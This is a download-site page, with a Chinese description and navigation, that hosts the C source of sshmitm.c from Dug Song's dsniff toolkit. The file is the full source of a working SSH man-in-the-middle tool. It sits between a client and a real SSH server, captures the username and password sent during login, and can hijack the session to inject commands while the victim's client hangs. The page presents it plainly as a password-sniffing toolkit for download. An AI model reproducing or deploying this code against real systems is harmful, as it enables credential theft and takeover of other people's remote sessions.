⭐ 欢迎来到虫虫下载站! | 📦 资源下载 📁 资源专辑 ℹ️ 关于我们
⭐ 虫虫下载站

📄 sshmitm.c

📁 一个网络工具包,可以嗅探email和http等数据包中的密码等信息.注意要先把libnet-1.0.2a.tar.gz和 libnids-1.16.tar.gz装上,不然会因为缺少库函数而无法编译和安
💻 C
字号:
/*  sshmitm.c  SSH monkey-in-the-middle.  Copyright (c) 2000 Dug Song <dugsong@monkey.org>  $Id: sshmitm.c,v 1.6 2000/12/17 21:09:43 dugsong Exp $*/#include "config.h"#include <sys/param.h>#include <sys/types.h>#include <sys/socket.h>#include <sys/wait.h>#include <arpa/nameser.h>#include <openssl/ssl.h>#include <libnet.h>#include <err.h>#include <errno.h>#include <fcntl.h>#include <stdio.h>#include <stdlib.h>#include <unistd.h>#include "buf.h"#include "record.h"#include "sshcrypto.h"#include "ssh.h"#include "version.h"int	 Opt_debug = 0;int	 Opt_interact = 0;u_short	 Opt_dns = 0;int	 Opt_read = 0;int	 Opt_write = 0;int	 mitm_fd;int	 client_fd, server_fd;SSH_CTX	*ssh_client_ctx, *ssh_server_ctx;SSH	*ssh_client, *ssh_server;struct	 sockaddr_in csin, ssin;int	 sig_pipe[2];voidusage(void){	fprintf(stderr, "Version: " VERSION "\n"		"Usage: sshmitm [-d] [-I] [-p port] host [port]\n");	exit(1);}static voidssh_strlcat(char *dst, int size, char *src, int len){	char *p;	u_int32_t i;	for (p = dst; *p != '\0'; p++)		;	size -= (p - dst - 1);		GETLONG(i, src);	i = MIN(i, len);	i = MIN(i, size);		memcpy(p, src, i);	p[i] = '\0';}static voidsig_chld(int signal){	if (write(sig_pipe[1], "x", 1) == -1)		warn("sig_chld");	}static voidsig_int(int signal){	close(mitm_fd);	record_close();	exit(0);}static voidreap_child(void){	pid_t pid, status;		while ((pid = waitpid(-1, &status, WNOHANG)) > 0) {		if (Opt_debug)			warnx("child %d terminated with status %d",			      pid, status);	}}voidmitm_init(u_short lport, u_long ip, u_short rport){	int i = 1;	if (pipe(sig_pipe) == -1)		err(1, "pipe");		if ((mitm_fd = socket(AF_INET, SOCK_STREAM, 0)) == -1)		err(1, "socket");		if (setsockopt(mitm_fd, SOL_SOCKET, SO_REUSEADDR, &i, sizeof(i)) == -1)		err(1, "setsockopt");		memset(&ssin, 0, sizeof(ssin));	ssin.sin_family = AF_INET;	ssin.sin_addr.s_addr = INADDR_ANY;	ssin.sin_port = htons(lport);		if (bind(mitm_fd, (struct sockaddr *)&ssin, sizeof(ssin)) == -1)		err(1, "bind");		if (listen(mitm_fd, 3) == -1)		err(1, "listen");		ssin.sin_addr.s_addr = ip;	ssin.sin_port = htons(rport);		SSH_init();		ssh_client_ctx = SSH_CTX_new();	ssh_client_ctx->hostkey = RSA_generate_key(1024, 35, NULL, NULL);	ssh_client_ctx->servkey = RSA_generate_key(768, 35, NULL, NULL);	if (ssh_client_ctx->hostkey == NULL ||	    ssh_client_ctx->servkey == NULL) {		errx(1, "RSA key generation failed");	}}voidmitm_child(void){	u_char buf[SSH_MAX_PKTLEN];	char userpass[1024];	fd_set fds;	int i, pass_done, hijack_done;		if (Opt_debug)		warnx("new connection from %s.%d",		      inet_ntoa(csin.sin_addr), ntohs(csin.sin_port));		if (fcntl(client_fd, F_SETFL, 0) == -1)		err(1, "fcntl");	/* Connect to real server. */	if ((server_fd = socket(AF_INET, SOCK_STREAM, 0)) == -1)		err(1, "socket");		if (connect(server_fd, (struct sockaddr *)&ssin, sizeof(ssin)) == -1)		err(1, "connect");	/* Relay version strings. */	if ((i = read(server_fd, buf, sizeof(buf))) <= 0 || buf[i - 1] != '\n')		errx(1, "bad version string from server");	if (write(client_fd, buf, i) != i)		err(1, "write");		if ((i = read(client_fd, buf, sizeof(buf))) <= 0 || buf[i - 1] != '\n')		errx(1, "bad version string from client");	if (write(server_fd, buf, i) != i)		err(1, "write");		/* Perform server key exchange. */		if ((ssh_server_ctx = SSH_CTX_new()) == NULL ||	    (ssh_server = SSH_new(ssh_server_ctx)) == NULL)		err(1, "malloc");		SSH_set_fd(ssh_server, server_fd);		if (SSH_connect(ssh_server) == -1)		errx(1, "server key exchange failed");		/* Perform client key exchange. */	if ((ssh_client = SSH_new(ssh_client_ctx)) == NULL)		err(1, "malloc");		SSH_set_fd(ssh_client, client_fd);		if (SSH_accept(ssh_client) == -1)		errx(1, "client key exchange failed");	/* Relay username. */	if ((i = SSH_recv(ssh_client, buf, sizeof(buf))) <= 0 ||	    buf[0] != SSH_CMSG_USER)		errx(1, "couldn't get username");	userpass[0] = '\0';	ssh_strlcat(userpass, sizeof(userpass), buf + 1, i - 1);	strlcat(userpass, "\n", sizeof(userpass));		if (SSH_send(ssh_server, buf, i) != i)		errx(1, "couldn't relay username");		pass_done = hijack_done = 0;		/* Relay packets. */	for (;;) {		FD_ZERO(&fds);		FD_SET(server_fd, &fds);		i = server_fd;				if (Opt_interact) {			FD_SET(STDIN_FILENO, &fds);		}				if (!hijack_done) {			FD_SET(client_fd, &fds);			i = MAX(client_fd, i);		}		if (select(i + 1, &fds, 0, 0, 0) == -1) {			if (errno != EINTR)				break;		}		if (FD_ISSET(client_fd, &fds)) {			i = sizeof(buf);			if ((i = SSH_recv(ssh_client, buf, i)) <= 0)				break;			if (!pass_done) {				if (buf[0] == SSH_CMSG_AUTH_PASSWORD) {					ssh_strlcat(userpass, sizeof(userpass),						    buf + 1, i - 1);					strlcat(userpass, "\n",						sizeof(userpass));				}				else {					pass_done = 1;					record(csin.sin_addr.s_addr,					       ssin.sin_addr.s_addr,					       IPPROTO_TCP,					       ntohs(csin.sin_port),					       ntohs(ssin.sin_port), "ssh",					       userpass, strlen(userpass));				}			}			    			if (SSH_send(ssh_server, buf, i) != i)				break;		}		else if (FD_ISSET(server_fd, &fds)) {			i = sizeof(buf);			if ((i = SSH_recv(ssh_server, buf, i)) <= 0)				break;			if (Opt_interact) {				if (buf[0] == SSH_SMSG_STDOUT_DATA &&				    write(STDOUT_FILENO, buf + 5, i - 5) <= 0) {					break;				}				else if (buf[0] == SSH_SMSG_STDERR_DATA &&					 write(STDOUT_FILENO, buf + 5, i - 5) <= 0) {					break;				}				else if (buf[0] == SSH_SMSG_EXITSTATUS ||					 buf[0] == SSH_MSG_DISCONNECT) {					warnx("connection closed");					break;				}			}			if (!hijack_done) {				if (SSH_send(ssh_client, buf, i) != i)					break;			}		}		else if (FD_ISSET(STDIN_FILENO, &fds)) {			i = sizeof(buf) - 1;			if ((i = read(STDIN_FILENO, buf + 5, i - 5)) <= 0)				break;						*(u_int32_t *)(buf + 1) = htonl(i);			buf[0] = SSH_CMSG_STDIN_DATA;			i += 5;						if (SSH_send(ssh_server, buf, i) != i)				break;			/* Let the real client hang on connection hijack. */			if (!hijack_done) {				fprintf(stderr, "[connection hijacked]\n");				hijack_done = 1;			}		}		else err(1, "select");	}	SSH_close(ssh_server);	SSH_close(ssh_client);}voidmitm_run(void){	u_char buf[8192];	fd_set fds;	int i;	signal(SIGCHLD, sig_chld);	signal(SIGINT, sig_int);	if (fcntl(sig_pipe[0], F_SETFL, O_NONBLOCK) == -1 ||	    fcntl(sig_pipe[1], F_SETFL, O_NONBLOCK) == -1)		err(1, "fcntl");		if (fcntl(mitm_fd, F_SETFL, O_NONBLOCK) == -1)		err(1, "fcntl");		for (;;) {		FD_ZERO(&fds);				FD_SET(mitm_fd, &fds);		FD_SET(sig_pipe[0], &fds);		i = MAX(mitm_fd, sig_pipe[0]);				if (select(i + 1, &fds, 0, 0, 0) == -1) {			if (errno != EINTR)				err(1, "select");		}		i = sizeof(csin);				if (FD_ISSET(sig_pipe[0], &fds)) {			while (read(sig_pipe[0], buf, 1) == 1)				; /* empty non-blocking pipe */			reap_child();		}		if (FD_ISSET(mitm_fd, &fds)) {			client_fd = accept(mitm_fd,					   (struct sockaddr *)&csin, &i);			if (client_fd >= 0) {				if (fork() == 0) {					close(mitm_fd);										mitm_child();										exit(0);				}				close(client_fd);			}			else if (errno != EINTR && errno != EWOULDBLOCK) {				err(1, "accept");			}		}	}}intmain(int argc, char *argv[]){	int c;	u_long ip;	u_short lport, rport;	lport = rport = 22;	while ((c = getopt(argc, argv, "dIp:h?V")) != -1) {		switch (c) {		case 'd':			Opt_debug = 1;			break;		case 'I':			Opt_interact = 1;			break;		case 'p':			if ((lport = atoi(optarg)) == 0)				usage();			break;		default:			usage();			break;		}	}	argc -= optind;	argv += optind;		if (argc < 1)		usage();		if ((ip = libnet_name_resolve(argv[0], 1)) == -1)		usage();	if (argc == 2 && (rport = atoi(argv[1])) == 0)		usage();		record_init(NULL);		mitm_init(lport, ip, rport);	warnx("relaying to %s", argv[0]);		mitm_run();	exit(0);}

⌨️ 快捷键说明

复制代码 Ctrl + C
搜索代码 Ctrl + F
全屏模式 F11
切换主题 Ctrl + Shift + D
显示快捷键 ?
增大字号 Ctrl + =
减小字号 Ctrl + -